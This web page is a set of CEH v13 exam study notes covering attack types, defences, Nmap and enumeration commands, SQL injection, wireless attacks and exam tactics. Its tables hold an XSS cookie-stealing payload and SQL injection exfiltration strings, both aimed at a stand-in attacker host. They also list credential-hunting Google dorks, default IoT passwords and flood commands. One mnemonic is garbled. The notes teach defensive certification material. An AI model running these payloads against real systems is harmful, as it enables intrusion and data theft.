Skip to content
Cyber KBisc2-kb.pages.dev
TrackCEHReadiness0 of 3Streak0 days

CEH Comprehensive Exam Cram Notes

The CEH v13 exam mechanics in 2026 differ from most third-party study guides written before 2024. Lock these in:

  • Format: 4 hours, 125 multiple-choice questions, MCQ only (no labs, no drag-and-drop, no scenario-items in the live delivery)
  • Pass score: variable per form, ranges from 60% to 85% depending on which exam form you draw. Treat 85% as your only safe target.
  • Delivery: Pearson VUE test centre, ECC exam centre, or Remote Proctoring Service (RPS). Same exam, same time, same rules.
  • Code: 312-50 (v13) for the knowledge exam, 312-50 (Practical) for the hands-on.
  • Approval: you need an EC-Council eligibility number before booking. ANSI self-study path needs 2 years of infosec work experience + $100 application fee.
  • No question review: once you click Next, the answer is locked. Use the on-screen “flag for review” if available, but expect the engine to disallow backward navigation in many forms.
  • Breaks: none scheduled. Clock keeps running. 4 hours is a long sit - bring water, eat protein before, take a 60-second eye break every 30 questions.
  • Automatic-fail triggers: photographing the screen, looking at another monitor, talking, leaving the room, violating the NDA.

Companion files in this repo: 00-master-strategy.md (8-week plan), 99-cheatsheet.md (one-page last-mile), and the research/01-08 deep-dive files.


This is a dense reference, not a narrative. It mirrors the official EC-Council CEH v13 blueprint (4 domains, ~20 modules). For each domain you get: must-know facts, command/port tables, common gotchas, and a memory aid. Use the table of contents to jump to your weakest area.

Suggested flow the night before:

  1. Read “Exam Day Tactics” (top of file) so the format surprises are gone.
  2. Skim Domain 1 + 2 - together they frame the “who attacks, how defenders stop them” story.
  3. Drill Domain 3.A (Nmap table, enumeration table) - the highest-yield fact dump.
  4. Drill Domain 3.B (malware taxonomy, DoS table, social engineering taxonomy).
  5. Skim Domain 3.C (OWASP Top 10, crypto algorithm table, cloud breaches).
  6. Skim Domain 4 (pen-test phases, ROE, legal box).
  7. End with the Final 30-Minute Survival Guide at the bottom.

Do not read this straight through. Jump. Stop studying 90 minutes before the exam. Sleep 7+ hours.


AttributeValue
CodeEC-Council Certified Ethical Hacker (CEH) v13
Exam code312-50 (v13)
FormatMCQ only, 125 items
Time4 hours
Passing score60-85% per form (statistical cut score)
DeliveryPearson VUE, ECC test centre, or RPS
EligibilityANSI self-study + $100 fee (2 yrs infosec experience) or official ATC training
IDGovernment-issued photo ID matching registration exactly
Cost (USD)$1,199 Pearson VUE voucher, $950 ECC voucher, $950 RPS voucher
Retake1st retake free in many bundles, then $499; 14-day cool-down after 2nd-4th attempt
Recert120 ECE credits / 3 years and $80/year Aspen membership
PracticalSeparate 6-hour, 20-challenge, 14/20 to pass; $550 voucher
#DomainApprox. weight
1Information Security Threats & Attack Vectors~22%
2Attack Detection, Prevention & Defense Fundamentals~18%
3Attacks & Exploits (subdivided into 3.A recon, 3.B system/network, 3.C web/cloud/IoT/crypto)~40%
4Communication, Reporting, Procedures & Legal~20%

Domain 3 alone is the largest. If you only have one night, drill 3.A (Nmap + enumeration) and 3.C (OWASP + crypto). They carry the most raw facts per minute of study.


CEH is not a managerial judgment test like (ISC)² CC. It is a technical recognition test wrapped in scenarios. When a question shows you a log, a payload, a tool output, or a network diagram, the correct answer is the one that names the right technique, tool, or mitigation layer.

When two or three options all look right, the “best” answer is the one that:

  1. Names the specific tool or technique (not the generic category).
  2. Maps to the exact phase of the 5-phase methodology the question describes.
  3. Reflects defense in depth when the question asks for the strongest control.
  4. Pairs the right attack with the right layer (e.g., L7 attack -> WAF, not firewall).

“The exam tests whether you know how attacks work and in what order, not just that they exist.” - Cover6 Solutions, 2026

Trap pattern: if your background is managerial or policy-side, your instinct is to pick the governance answer (policy, training, risk register). CEH wants the technical answer (IDS rule, WAF signature, port, command, CVE). They are different exams.


Domain 1: Information Security Threats & Attack Vectors (~22%)

Section titled “Domain 1: Information Security Threats & Attack Vectors (~22%)”

The “who” and “what” of attacks. EC-Council expects you to recognise threat actors, attack vectors, malware families, and the three attack-lifecycle models by name.

ActorMotivationTell-tale signExample
Nation-state / APTGeopolitical, espionageMulti-year dwell, custom malware, supply-chain reachAPT28, APT29, Lazarus, Equation
Organised cybercrimeMoneyHighest attack volume; RaaS, access brokers, double extortionLockBit, ALPHV/BlackCat, Cl0p
HacktivistIdeologyDefacement, DDoS, leaks tied to causeAnonymous, LulzSec
Insider (malicious, negligent, compromised)VariousPre-authorised access, hardest to detectSnowden, Change Healthcare affiliate
Script kiddieCuriosity / braggingDownloaded tools, opportunistic, high volume / low success-
White / gray / black hatEthics axisHat colour = intent-
MisreadCorrect
“Defacement with a manifesto” = APTHacktivist (manifesto is the tell)
“Multi-year stealth in a government” = organised crimeAPT (long dwell = state)
“Pre-authorised access” = outsider threatInsider (the position is the tell)

Mnemonic: NACHIS - Nation-state, APT/Cybercrime, Hacktivist, Insider, Script kiddie.

Section titled “Mnemonic: NACHIS - Nation-state, APT/Cybercrime, Hacktivist, Insider, Script kiddie.”
VectorTypical useCommon tool
NetworkScanning, lateral movement, MitMNmap, Ettercap
WebXSS, SQLi, SSRF, drive-byBurp, sqlmap
EmailPhishing, spear-phishing, malicious attachmentsSET, GoPhish
PhysicalTailgating, USB drops, badge cloningHID-cloner
Social engineeringPretexting, vishing, baitingSET, wifiphisher
Supply chainCompromise of trusted software / hardwarexz-utils class, SolarWinds
CloudMisconfigured S3, IAM abuse, token theftPacu, ScoutSuite
IoT/OTDefault credentials, unpatched firmwareMirai, Modbus tools
WirelessRogue AP, evil twin, deauthaircrack-ng, hostapd

A single intrusion usually chains vectors - spear-phish -> malicious attachment -> reverse shell -> lateral network movement -> cloud credential theft.

Malware
|-- Virus (needs host file + user execution)
| |-- File infector, Boot sector, Macro
| |-- Polymorphic (changes signature each run)
| |-- Metamorphic (rewrites its own code)
| `-- Multipartite
|-- Worm (self-propagating over network, no user action)
|-- Trojan (disguised as legit)
| |-- RAT (Gh0st, AsyncRAT)
| |-- Banking (Zeus, Emotet)
| |-- Backdoor
| |-- DDoS bot (Mirai)
| `-- Downloader / Dropper
|-- Rootkit
| |-- User-mode, Kernel-mode, Bootkit (UEFI/BIOS)
|-- Ransomware
| |-- Locker, Crypto
| |-- Double extortion (encrypt + leak)
| |-- Triple extortion (+ DDoS)
| `-- Quadruple extortion (+ regulator / customer pressure)
|-- Spyware / Keylogger
|-- Fileless / LOLBins (PowerShell, WMI, mshta)
|-- Logic bomb (triggers on event)
`-- Wiper (destroys data; WhisperGate, NotPetya)
MisreadCorrect
“Stuxnet” = just a virusWorm + virus + rootkit - name the primary, list the secondaries
“Fileless malware” = no payloadIt still has a payload, just lives in memory/LOLBins
“Ransomware that leaks data” = double extortionEncrypt + leak = double; encrypt + leak + DDoS = triple

Mnemonic for ransomware extortion: ED = encrypt, demand. Double = ED + Leak. Triple = + DDoS. Quadruple = + contact customers/regulator.

Section titled “Mnemonic for ransomware extortion: ED = encrypt, demand. Double = ED + Leak. Triple = + DDoS. Quadruple = + contact customers/regulator.”

1.4 Attack Lifecycle Models (the three you must know)

Section titled “1.4 Attack Lifecycle Models (the three you must know)”
ModelPhasesWhen the exam uses it
5-phase CEHRecon, Scan, Gain Access, Maintain Access, Cover Tracks“Attacker is at phase 3” -> 5-phase
Cyber Kill Chain (Lockheed)7 phases: Recon, Weaponisation, Delivery, Exploitation, Installation, C2, Actions on Objectives“Which phase” with sequential cues
MITRE ATT&CK14 enterprise tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact“TTP” or “technique” cues -> ATT&CK
Diamond ModelAdversary x Capability x Infrastructure x Victim“Pivot” / “campaign clustering” cues

MITRE ATT&CK - the 14 tactics in order (memorise verbatim)

Section titled “MITRE ATT&CK - the 14 tactics in order (memorise verbatim)”

Recon, Resource Dev, Initial Access, Execution, Persistence, Priv Esc, Def Evasion, Credential Access, Discovery, Lateral, Collection, C2, Exfil, Impact. Mnemonic: “RRIIPPDCDLCCEI” (rough sound: “rip the deck, let CCE in”).

MisreadCorrect
“Lateral Movement” is a Kill Chain phaseIt is an ATT&CK tactic, not a Kill Chain phase (Kill Chain has Installation then C2 then Actions)
Kill Chain has 7 phases including C2Yes - but CEH’s own 5-phase model splits recon/scan and omits weaponisation
“Initial Access” is a tacticYes - ATT&CK tactic #3
IncidentYearVectorOne-line takeaway
SolarWinds / SUNBURST2020Supply chain (signed DLL in Orion update)Russian SVR, ~18,000 orgs received trojanised update
3CX Desktop App2023Chained supply chain (X_TRADER -> 3CX build)First cascading supply-chain compromise Mandiant documented
xz-utils / CVE-2024-30942024Maintainer-level supply chain (CVSS 10.0)“Jia Tan” gained trust over 2 years, backdoored liblzma -> sshd pre-auth RCE
Change Healthcare2024Stolen creds on MFA-less Citrix portal190M affected, $22M ransom paid, ALPHV exit-scammed affiliates
Capital One2019SSRF -> IMDSv1 -> over-privileged IAM106M records, AWS shipped IMDSv2 in response
Tesla (cryptojack)2018Unauthenticated K8s console + creds in env varsStratum Monero miner hidden behind Cloudflare

Three of these are textbook initial-access failures: trojanised update, stolen credential, MFA-less portal. Defence is not exotic - it is the basics, done consistently.


Domain 2: Attack Detection, Prevention & Defense Fundamentals (~18%)

Section titled “Domain 2: Attack Detection, Prevention & Defense Fundamentals (~18%)”

The “how defenders stop them” story. Expect questions on defence-in-depth, Zero Trust, firewalls, IDS/IPS, endpoint stack, SIEM/SOAR, honeypots, and patch management.

PrincipleDefinitionNIST ref
Defense in depth (DiD)Layered controls; single failure is not catastrophicCSRC glossary
Least privilegeMinimum access neededNIST AC-6
Zero Trust“Never trust, always verify.” Per-request authn/authz/logNIST SP 800-207
CIA triadConfidentiality, Integrity, Availability-
ComponentRole
PE (Policy Engine)Decides access
PA (Policy Administrator)Issues the decision
PEP (Policy Enforcement Point)Enforces the decision (gateway / NAC agent)

Zero Trust is not “VPN replacement.” It is a per-request access decision based on identity + device posture + context.

  1. Perimeter - firewall, WAF, DDoS scrubbing, email gateway.
  2. Network - segmentation, NAC, IDS/IPS, jump servers.
  3. Host - NGAV, EDR, hardening, CIS baselines.
  4. Application - secure SDLC, WAF, RASP, SAST/DAST.
  5. Data - encryption at rest/in transit, DLP, classification, HSM/KMS.
TypeLayerStrengthSpeed
Packet-filtering (stateless)L3/L4Weak (header only)Fastest
Stateful inspectionL3/L4Better (tracks connection state)Fast
WAFL7Inspects HTTP/SQL/XML against OWASPMedium
NGFWL3-L7Stateful + DPI + IPS + app awarenessMedium
AspectNIDS / NIPSHIDS / HIPS
PositionInline (IPS) or span/tap (IDS)On the endpoint
DetectsLateral movement, scans, exfilFile integrity, privesc, local LOLBins
MissesEncrypted payloads (pre-decrypt)Cross-host correlation
MethodSignature / anomaly / statefulSame + file/process telemetry

Detection methodologies (NIST SP 800-94): Signature (known IOCs, low FP, blind to novel) | Anomaly (baseline + deviation, catches zero-day, higher FP) | Stateful protocol analysis (validates state machine).

IDS = Detect, passive. IPS = Prevent, inline. The “I” tells you what it does.

2.5 Endpoint Stack (NGAV -> EDR -> XDR -> MDR)

Section titled “2.5 Endpoint Stack (NGAV -> EDR -> XDR -> MDR)”
TermWhat it isRole
NGAVSignature + ML + behavioural + exploit mitigationPreventive, cloud-managed
EDRContinuous telemetry, behavioural detection, hunting, remote responseDetective + responsive (NIST SP 800-137)
XDREDR + email, identity, cloud, network correlationCross-domain, reduces alert fatigue
MDR24x7 SOC service wrapping EDR/XDRService, not product

NGAV is a subset of EDR is a subset of XDR. Layers, not alternatives.

SIEMSOAR
RoleCentralises logs, correlates, alerts (detection)Acts on SIEM alerts via playbooks (response)
OutputAlertsAutomated actions: enrich, isolate, disable account

Implement SIEM before SOAR. SOAR acting on bad SIEM rules is worse than no SOAR.

  • Honeypot = decoy with no production value. Any interaction is by definition suspicious. Generates high-fidelity IOCs.
  • Honeynet = a network of honeypots simulating a realistic environment.

Honeypot data is high-signal because legitimate users never touch it.

2.8 Threat Intel & IOC Sharing (must know the trio)

Section titled “2.8 Threat Intel & IOC Sharing (must know the trio)”
TermWhat
IOCAtomic indicator - IP, domain, hash, mutex, registry key
STIXOASIS standard, JSON, 18 Domain Objects (v2.1)
TAXIIHTTPS RESTful transport for STIX - Collections (pull) + Channels (pub/sub)
MisreadCorrect
“WAF inspects SQL”WAF inspects L7 HTTP/SQL/XML - WAF is the right answer for SQLi, not a network firewall
“Zero Trust = VPN replacement”No - ZT is per-request, not a network tunnel
“EDR blocks known malware”EDR detects and responds; NGAV is the preventive block layer
“SOAR centralises logs”No - SIEM does; SOAR acts on SIEM alerts
“Signature detection catches zero-day”No - anomaly detection does. Signature is blind to novel.
“NAC is a firewall”No - NAC is pre-admission posture check (802.1X), usually complementing the firewall

Mnemonic: “PAWN HOST APP DATA” for DiD layers - Perimeter, Application (network), Wide (NIDS/IPS), Network, Host, App (secure SDLC), Data. (Or use the 5-layer official list above.)

Section titled “Mnemonic: “PAWN HOST APP DATA” for DiD layers - Perimeter, Application (network), Wide (NIDS/IPS), Network, Host, App (secure SDLC), Data. (Or use the 5-layer official list above.)”

Domain 3.A: Reconnaissance & Scanning (~13% of total)

Section titled “Domain 3.A: Reconnaissance & Scanning (~13% of total)”

The first and longest phase. EC-Council splits it into footprinting, scanning, enumeration, and vulnerability analysis.

ToolWhat it doesKey example
theHarvesterAggregates e-mails, subdomains, hoststheHarvester -d example.com -b bing,crtsh -l 500
recon-ngModular Python framework, workspace DBworkspaces create target; modules load recon/domains-hosts/hackertarget; run
MaltegoGUI link-analysis (graph of subdomains, MX, e-mails)Drop entity -> transforms -> pivot
Shodan / CensysInternet-wide banner + cert searchport:3389 country:"US"
Google dorkingOperators to surface unintentional exposuresite:example.com filetype:env intext:"AWS_SECRET"
subfinder / amassSubdomain brute-force / passive enumerationsubfinder -d example.com -silent

Passive = no contact with target (Shodan, CT logs, search engines). Active = light contact (DNS queries, traceroute, job-posting scraping).

DorkSurfaces
filetype:env intext:"DB_PASSWORD"Exposed .env files
intitle:"index of" inurl:backupOpen backup directories
inurl:phpinfo.phpphpinfo() pages
site:pastebin.com "<domain>" passwordLeaked credentials
site:github.com "<domain>" token OR secretLeaked API keys
  1. Query NS records (dig NS example.com).
  2. Attempt AXFR (dig axfr @ns1.example.com example.com).
  3. Enumerate SRV records (nmap -script dns-srv-enum).
  4. Brute-force subdomains (dnsenum -enum, fierce -dns example.com).

3.A.2 Scanning - the Nmap table you must memorise

Section titled “3.A.2 Scanning - the Nmap table you must memorise”
SwitchTypeUse
-sSTCP SYN (half-open)Default if root; fast, stealthy
-sTTCP connect()When you lack raw sockets (non-root)
-sUUDP scanSlow; DNS/SNMP/TFTP discovery
-sNNULL scan (no flags)Stateless-firewall bypass; Unix-only
-sFFIN scan (FIN flag)Same logic as NULL; Unix-only
-sXXMAS scan (FIN+PSH+URG)Same logic; Unix-only
-sAACK scanMap firewall rulesets, not open/closed
-sI zombie[:port]Idle scanBlind - target never sees your IP
-sVVersion detectionBanner + version
-OOS fingerprintingStack idiosyncrasies
-AAggressive-sV -O -sC
-PnSkip host discoveryTreat all hosts as up
-p-All 65,535 portsSlow but complete
-T0..-T5Timing templates0=paranoid, 5=insane
-f / -mtuFragmentIDS evasion
-D RND:10Decoy scanHide among 10 random sources
-g 53Source port spoofAppear as DNS
-script=defaultNSE scriptsVuln / brute / default

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless -> results are unreliable.

SwitchPurpose
-snNo port scan, just discovery
-PS/PA/PU/PYSYN/ACK/UDP/SCTP discovery to a port list
-PnSkip discovery, treat all hosts as up
-disable-arp-pingUseful on IPv4 LAN where ARP is otherwise mandatory
ProtocolPortTool / commandWhat you extract
NetBIOS / SMB137-139, 445enum4linux -a, rpcclient -U "" -N, smbclient -L //target -NUsers, shares, groups, password policy
SNMPUDP 161snmpwalk -v2c -c public target, snmp-checkMIB tree, sysName, user table, route table
LDAP389 (636 LDAPS)ldapsearch -x -h target -p 389 -b "dc=domain,dc=com"Directory objects, naming contexts
DNS53dig axfr @ns1.target target, dnsenum -enumZone transfer, SRV records, subdomains
SMTP25smtp-user-enum -M VRFY -U users.txt -t targetValid mailboxes (VRFY, EXPN, RCPT-TO)
FTP21nc -v target 21, nmap -script ftp-anonBanner, anonymous login
Banner grabanync -v target 80; HEAD / HTTP/1.0, nmap -sVSoftware version -> CVE
  • public / private - SNMP community strings
  • admin / admin, root / xc3511, root / vizxv, default / 1234 - Mirai IoT dictionary
MetricValues
AV Attack VectorNetwork / Adjacent / Local / Physical
AC Attack ComplexityLow / High
PR Privileges RequiredNone / Low / High
UI User InteractionNone / Required
S ScopeUnchanged / Changed
C / I / A Impact (Confidentiality, Integrity, Availability)None / Low / High
BandScore
None0.0
Low0.1-3.9
Medium4.0-6.9
High7.0-8.9
Critical9.0-10.0

Worked example: CVE-2024-3094 (xz-utils) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H -> 10.0 CRITICAL. Network-attackable, no privileges, no UI, scope-changed (liblzma -> sshd), high impact on all three.

TermRole
CVEUnique identifier (e.g., CVE-2024-3094)
NVDEnriches CVEs with CVSS, CPE, references
CVSSScoring standard (v3.1 current, v4.0 emerging)
CWEWeakness class (e.g., CWE-787 out-of-bounds write)
ScannerStrengthCostBest for
Nessus~99.7% CVE coverage, low FP, agent+agentlessPaidGold standard infrastructure
Qualys VMDRCloud-native, integrated CSPM/K8sPaid (highest TCO)Cloud-first orgs
OpenVAS / Greenbone~98% CVE coverage, GPL-3FreeAir-gapped, cost-sensitive
Burp Suite ProManual+automated DASTPaidWeb app pentest
OWASP ZAPOSS man-in-the-middle proxyFreeWeb scanning on a budget
NiktoWeb server baselineFreeOld-school server scan
MisreadCorrect
-sT is stealthyNo - it completes the 3-way handshake; SYN (-sS) is stealthy
NULL scan works against WindowsNo - Windows ports reply RST regardless
ACK scan finds open portsNo - it only maps filtered vs unfiltered
CVSS Base = riskNo - CVSS Base is severity; risk needs environmental + threat context
SNMP public is read-only so it is safeNo - read access on a MIB tree dumps entire device config
smbclient is for LinuxIt is the SMB client; works against any SMB target
“Zone transfer succeeded” is a configuration issue, not a vulnerabilityIt is both - a misconfiguration that leaks the entire zone

Mnemonic: “Syn stealth, NULL/FIN/XMAS Unix, ACK maps rules” for the scan-type traps.

Section titled “Mnemonic: “Syn stealth, NULL/FIN/XMAS Unix, ACK maps rules” for the scan-type traps.”

Domain 3.B: System & Network Attacks (~13% of total)

Section titled “Domain 3.B: System & Network Attacks (~13% of total)”

The offensive toolkit. Spans system hacking, malware, sniffing/social engineering, DoS/DDoS, and session hijacking.

3.B.0 The 5-Phase CEH Methodology (the spine of 3.B)

Section titled “3.B.0 The 5-Phase CEH Methodology (the spine of 3.B)”
#PhaseGoalCanonical tools
1ReconnaissanceOSINT, public + activeMaltego, theHarvester, Shodan
2Scanning & EnumerationFind open doorsNmap, Nessus, enum4linux, Nikto
3Gaining AccessExploitMetasploit, sqlmap, Burp, Hydra
4Maintaining AccessPersistenceNetcat backdoor, Meterpreter, rootkit
5Covering TracksHide evidenceLog wipe, timestomp, NTFS ADS, steg

The exam tests whether you know how attacks work and in what order, not just that they exist. Memorise the tool -> phase mapping.

ToolModeStrengthWeaknessUse when
HydraOnlineMulti-protocol (SSH, FTP, HTTP, RDP, SMB)Triggers lockoutsYou have a live service prompt
MedusaOnlineParallel login engineSame lockout riskSame as Hydra, alternate
John the RipperOfflineAuto-detects hash format, huge coverageCPU-bound, slower on GPUUnknown or file-based formats
HashcatOfflineGPU-accelerated; 300+ hash modesRequires GPU; specify -m modeYou have hashes and a GPU
Rainbow tablesOfflinePre-computed, instant on unsaltedDefeated by saltingLM, NTLM (unsalted only)

Modern adaptive hashes - Argon2id > bcrypt > scrypt - are slow on purpose. The GPU parallelism that crushes NTLM is exactly what bcrypt is designed to defeat.

AxisMechanismMITRE ATT&CK
Vertical (low-priv -> admin)SUID/SGID binaries, sudo misconfig, kernel exploit, MimikatzT1548.001 / T1548.003
Horizontal (same-priv pivot)Pass-the-Hash (NTLM), Pass-the-Ticket (Kerberos)T1550.002 / T1550.003
TechniqueWhatDetection
NTFS Alternate Data Streams (ADS)Hide file in file.txt:hidden.exeSysmon FileCreate stream flags
TimestompingRewrite $STANDARD_INFORMATION onlySI/FN delta is the smoking gun (T1070.006)
SteganographyHide data in MP3/JPEG whitespaceEntropy analysis
Log tamperingwevtutil cl, GPO-pushed audit disableForward logs to SIEM off-host
AttackMechanismTool
ARP poisoning / spoofingGratuitous ARP so victim + gateway resolve attacker MACettercap -M arp:remote, BetterCAP, arpspoof
MAC floodingFill CAM table -> switch fail-opens to hubmacof (dsniff)
MAC spoofingChange NIC MAC to victim’smacchanger
DHCP starvationExhaust DHCP poolYersinia, dhcpstarv
Rogue DHCPHand out malicious DNS/gatewayYersinia
DNS poisoning / spoofingCorrupt resolver cacheEttercap, dnsspoof
SSL strippingDowngrade HTTPS -> HTTPsslstrip
SSL/TLS downgrade (POODLE)Force SSL 3.0 CBC padding oraclecustom proxy
BetterCAP HTTP/HTTPS proxyModern L2/L7 MitM with HSTS bypassBetterCAP

Defence: Dynamic ARP Inspection (DAI) + DHCP snooping on the managed switch. Without DAI, ARP MitM is silent.

VectorLeverExample
PhishingBulk + plausibleENISA 2025: ~60% of intrusions start here
Spear phishingOSINT-driven, named targetMost targeted intrusions
WhalingC-suite, wire authorityCEO fraud
VishingVoice, help desk2020 Twitter hack, 2023 MGM/Caesars
SmishingSMSRose sharply with SMS MFA
PretextingFabricated scenario“I’m the new contractor, locked out”
BaitingCuriosity / greedUSB drop in parking lot
Tailgating / piggybackingPhysical politenessFollow through badge door
Dumpster divingDiscarded mediaPull hard drives, printouts

Techearl 2026: “A mature organisation can have no software vulnerability and still be breached by a single phone call to the help desk.” MGM (2023) fell to vishing.

AttackLayerToolDefence
UDP floodL3/L4 (volumetric)hping3, Mirai udpplainRate-limit, drop unused UDP, cloud scrubbing
ICMP flood / Ping of DeathL3ping -s 65507 -fBlock/limit ICMP, patch parsing
DNS amplificationL3/L4 (volumetric)Mirai dns moduleBCP38, RRL, anycast
NTP amplificationL3/L4 (volumetric)NTP monlistDisable monlist, BCP38
Memcached DRDoSL3/L4 (volumetric)memcached -d -m 1024Disable UDP, firewall, BCP38
SYN floodL4 (state exhaustion)hping3, Mirai synSYN cookies, increase backlog
SmurfL3 (amp)ICMP echo to broadcast w/ spoofed srcDisable directed broadcast, BCP38
FraggleL3 (amp)UDP echo to broadcastBlock UDP echo (ports 7/19)
TeardropL4 (frag)Overlapping IP fragmentsPatch OS, drop bad frags
HTTP floodL7Mirai http/httppost/httpheadWAF, per-IP rate limit, CAPTCHA, CDN
SlowlorisL7 (low-and-slow)Open conn, drip-feed headersReverse proxy buffering, short timeouts
R.U.D.Y. / SlowPOSTL7 (low-and-slow)POST one byte at a timeReverse proxy buffering, body timeout
  • Botnet = network of compromised hosts (zombies).
  • C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).
  • Mirai (2016) = recruited 600K+ IoT devices via 62 default-credential pairs on Telnet (TCP/23, TCP/2323). Produced >1 Tbps on Dyn DNS (Oct 2016, knocked Twitter/Netflix/Reddit offline).
AttackMechanismDefence
Session ID predictionWeak entropyBurp Sequencer test; use 128-bit random
Session sniffingSame L2 toolkit as MitMSecure cookie + HSTS
Session fixationPlant known ID before login; if not regenerated -> attacker is logged inRegenerate session ID at login / privilege change
XSS-based hijack<script>document.location='http://attacker/?c='+document.cookie</script>HttpOnly, CSP, output encoding
Man-in-the-browserBanking trojan (Zeus, SpyEye) injects into browserEDR + transaction signing
Cookie theft via malwareInfostealer reads browser cookie jarEDR, password managers with device binding

OWASP WSTG fix: Secure (HTTPS only) + HttpOnly (no JS) + SameSite (no cross-site) + regenerate session ID on login + HSTS with includeSubDomains.

MisreadCorrect
“Pass-the-Hash requires the plaintext password”No - it reuses the NTLM hash directly
“Syn flood is L7”No - Syn flood is L4 (TCP state exhaustion)
“Slowloris is a volumetric attack”No - it is L7 low-and-slow, holds connections open
“Ransomware always encrypts files”No - locker ransomware locks the screen only
“RAT = Trojan”RAT is a type of Trojan (Remote Access Trojan)
“APT = sophisticated malware”APT is the actor profile, not malware
“Defense against social engineering is training”True, but the strongest control is process - help desk verification, out-of-band callbacks

Mnemonic for DDoS: “UDP-ICMP-SYN flood the L3/L4; HTTP-Slow hit the L7”. Volumetric = L3/L4; state-exhaustion = L4; application = L7.

Section titled “Mnemonic for DDoS: “UDP-ICMP-SYN flood the L3/L4; HTTP-Slow hit the L7”. Volumetric = L3/L4; state-exhaustion = L4; application = L7.”

Domain 3.C: Application, Web, Cloud, IoT & Crypto (~14% of total)

Section titled “Domain 3.C: Application, Web, Cloud, IoT & Crypto (~14% of total)”

Everything above the OS/network layer. Web apps, SQL backends, wireless, mobile/IoT/OT, cloud, and cryptography.

3.C.1 OWASP Top 10 (2021 - the current exam baseline)

Section titled “3.C.1 OWASP Top 10 (2021 - the current exam baseline)”
#CategoryExample attackTool
A01Broken Access ControlIDOR, vertical/horizontal priv-escBurp, ZAP, ffuf
A02Cryptographic FailuresCleartext storage, weak TLStestssl.sh, sslyze
A03Injection (SQLi, NoSQLi, LDAP, OS cmd)' OR 1=1-sqlmap, Burp
A04Insecure DesignMissing rate limit on password resetManual review + threat model
A05Security MisconfigurationDefault creds, verbose errors, exposed S3Nikto, nmap
A06Vulnerable & Outdated ComponentsLog4Shell, Spring4ShellSnyk, OWASP Dependency-Check
A07Identification & Auth FailuresCredential stuffing, weak passwordsHydra, Burp Intruder
A08Software & Data Integrity FailuresInsecure deserialisation, unsigned updatesSigstore, SBOM diff
A09Logging & Monitoring FailuresNo alerting on repeated failed loginsSplunk, Sigma rules
A10SSRFhttp://169.254.169.254/... (Capital One)SSRFmap, Burp Collaborator

2025 deltas to know (final Q1-Q2 2026 likely): A02 Security Misconfiguration rises; A03 becomes Software Supply Chain Failures; SSRF folded into A01; A10 is new - Mishandling of Exceptional Conditions.

3.C.1 Web Server Class Attacks (not application logic)

Section titled “3.C.1 Web Server Class Attacks (not application logic)”
  • Path traversal - ../../etc/passwd
  • HTTP response splitting - CRLF injection into headers
  • HTTP request smuggling - desync between front- and back-end via Transfer-Encoding / Content-Length disagreement
  • Web cache poisoning - cache stores a poisoned response keyed to a victim URL
  • IIS/Apache/nginx misconfigs - HTTP PUT enabled, .htaccess overrides, default CGI
IssueDefence
XSS (Reflected / Stored / DOM)Context-aware output encoding + CSP
CSRFAnti-CSRF tokens + SameSite cookies
IDORPer-record server-side authz
XXEDisable DTD / external entities
SSRFEgress allow-list + IMDSv2 + network segmentation

3.C.2 SQL Injection - 5 exploitation techniques

Section titled “3.C.2 SQL Injection - 5 exploitation techniques”
ClassTechniqueHowIndicator
In-bandError-basedDBMS error contains data' -> 500 / XPATH syntax error
In-bandUNION-basedUNION SELECT appends rowsColumn-count match; result in page
Inferential (blind)BooleanAND 1=1 vs AND 1=2True page vs false page
Inferential (blind)Time-basedSLEEP(5), WAITFOR DELAYResponse time
Out-of-band (OAST)OOBDB makes DNS/HTTP to attackerDNS callback to attacker domain

admin' OR '1'='1'- rarely logs you in as anyone. Modern apps hash passwords, so UNION bypass must supply a hash column whose value matches a password you chose.

GoalMySQLMSSQLPostgreSQLOracle
Comment- or #---
Stack queriesLimited; allowed; allowed; allowed
Force delaySLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)dbms_pipe.receive_message
Read fileLOAD_FILE()OPENROWSET(BULK ...)pg_read_file()UTL_FILE
OOB exfilLOAD_FILE(CONCAT('\\\\',user,'.attacker.tld\\a'))xp_dirtree '\\\\attacker.tld\share'dblinkUTL_HTTP.REQUEST

Tools: sqlmap (industry standard), jSQL Injection (Java GUI), Havij (point-and-click).

StandardYearCryptoStatus
802.11a1999WEPBroken
802.11b1999WEPBroken
802.11g2003WPAOutdated
802.11n2009WPA2Solid
802.11ac2014WPA2Solid
802.11ax (Wi-Fi 6/6E/7)2019+WPA3Current
AttackTargetTool / CVE
WEP cracking24-bit IV reuse, 128-bit key recovered in ~40k-85k pktsairodump-ng + aircrack-ng PTW
WPA2-PSK crackingOffline dictionary on captured 4-way handshakeaircrack-ng, aireplay-ng -0 deauth to capture
KRACK (2017)802.11i 4-way handshake nonce resetCVE-2017-13077..13088; krackattacks-scripts
WPA3 / Dragonblood (2019)SAE/Dragonfly timing + cache side channelVanhoef & Ronen - brute 10^10 dict on AWS <$1
Evil twinSame-SSID rogue AP; clients join strongesthostapd, wifiphisher, Fluxion
Rogue APUnauthorised AP on corporate LANKismet
DeauthForce reconnect to capture handshakeaireplay-ng -0
WPS PIN brute8-digit PIN, 11K combosreaver, bully

WEP -> broken. WPA -> outdated. WPA2 -> solid. WPA3 -> current. Hiding the SSID is not a security measure.

AttackVectorImpact
BlueSmackL2CAP echo with oversized payloadDoS (ping-of-death)
BlueJackingOBEX/vCard messageSpam, phishing lure
BlueSnarfingOBEX PULL of telecom/pb.vcfTheft of contacts, calendar, IMEI
BlueBuggingAT-command backdoorFull device control, call/SMS interception
BlueBorne (2017)8 CVEs across L2CAP/SDP/BNEP/LEAPWormable RCE, no user interaction
AspectAndroidiOS
DistributionPlay Store + sideload + 3rd-partyApp Store (EU DMA 3rd-party marketplaces since 2024)
App isolationLinux UID + SELinux sandboxiOS appsandbox (Seatbelt) at kernel
Code signingAPK signature + Play IntegrityApple-mandatory + FairPlay
PatchingFragmentedUnified by Apple
Rooting/jailbreakDisables SELinux + sandboxDisables signing, weakens Secure Enclave

MDM (policy + remote wipe), MAM (app containerisation, per-app VPN), MTD (on-device detection). A hardened app on a rooted device is still untrusted - device attestation is non-negotiable.

  • Mirai (2016) infected ~65,000 devices in 20 hours, peaked at 200k-600k.
